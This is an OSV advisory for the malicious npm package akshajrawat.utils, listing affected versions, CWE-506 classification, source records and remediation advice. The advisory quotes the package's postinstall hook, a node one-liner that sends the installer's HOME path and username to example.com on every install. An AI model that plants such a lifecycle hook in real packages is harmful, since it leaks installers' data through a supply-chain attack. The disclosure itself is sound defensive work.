MAL-2026-10558

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/akshajrawat.utils/MAL-2026-10558.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10558
Aliases
  • GHSA-68xp-rp76-mhf5
Published
2026-07-14T05:44:19Z
Modified
2026-09-01T11:30:35Z
Summary
Malicious code in akshajrawat.utils (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (105157af41712b64f8b36ec1cb01e28958e4ad828a0c08d0979a1f6e22d1f13d)

The package's package.json declares a postinstall lifecycle hook that runs automatically on npm install: node -e "require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)". On every install, this issues an unconditional HTTPS GET to https://example.com/collect with the installer's $HOME path and $USERNAME embedded as query-string parameters. This is the canonical supply-chain exfiltration shape: lifecycle-triggered, unconditional, undocumented outbound transmission of installer-side identifiers. While example.com and the package description suggest the package may be a proof-of-concept or research artifact, the structural behavior would harm any installer who runs npm install against it, and the same scaffold trivially redirects to an attacker-controlled host.

Source: ghsa-malware (368b22696d6b2d76728b4593d3c97a3712df37b64722b96a37bf85f08e11b537)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "GHSA-68xp-rp76-mhf5",
            "import_time": "2026-07-14T05:59:59.622868744Z",
            "modified_time": "2026-07-14T05:44:19Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "368b22696d6b2d76728b4593d3c97a3712df37b64722b96a37bf85f08e11b537",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-010491",
            "import_time": "2026-07-14T13:35:48.148329766Z",
            "modified_time": "2026-07-14T12:47:40Z",
            "sha256": "105157af41712b64f8b36ec1cb01e28958e4ad828a0c08d0979a1f6e22d1f13d",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-010579",
            "import_time": "2026-07-14T22:23:33.259150882Z",
            "modified_time": "2026-07-14T21:53:23Z",
            "sha256": "a952e1e7cd150eccce5263df459cf246d57d2fdb41b29a4bf32c7526845a2788",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "RLMA-2026-05492",
            "import_time": "2026-07-20T13:14:43.495179494Z",
            "modified_time": "2026-07-20T10:33:08Z",
            "sha256": "f48f4059cdb87dfa06ba299536849e7dc4f86a3ced7083eaf7f4320a11fb3ca5",
            "source": "reversing-labs",
            "versions": [
                "1.0.0",
                "1.0.1"
            ]
        },
        {
            "id": "RLUA-2026-05964",
            "import_time": "2026-09-01T11:17:47.670681323Z",
            "modified_time": "2026-08-24T16:36:11Z",
            "sha256": "ffb108b86a07468ae0aba693268f669aa4cd7ec85e19b30cc119837c75423fed",
            "source": "reversing-labs"
        }
    ]
}
References
Credits

Affected packages

npm / akshajrawat.utils

Package

Name
akshajrawat.utils
View open source insights on deps.dev
Purl
pkg:npm/akshajrawat.utils

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "bdc52d88e21633b97c929a35be42b4a5e965ebea3ed1118ab0c954877abaefa1",
            "tlsh": "20e0cd698f15a97b11e046a11a3d2509fc226b1d24544c0e73f301165a516765512b5a"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/akshajrawat.utils/MAL-2026-10558.json"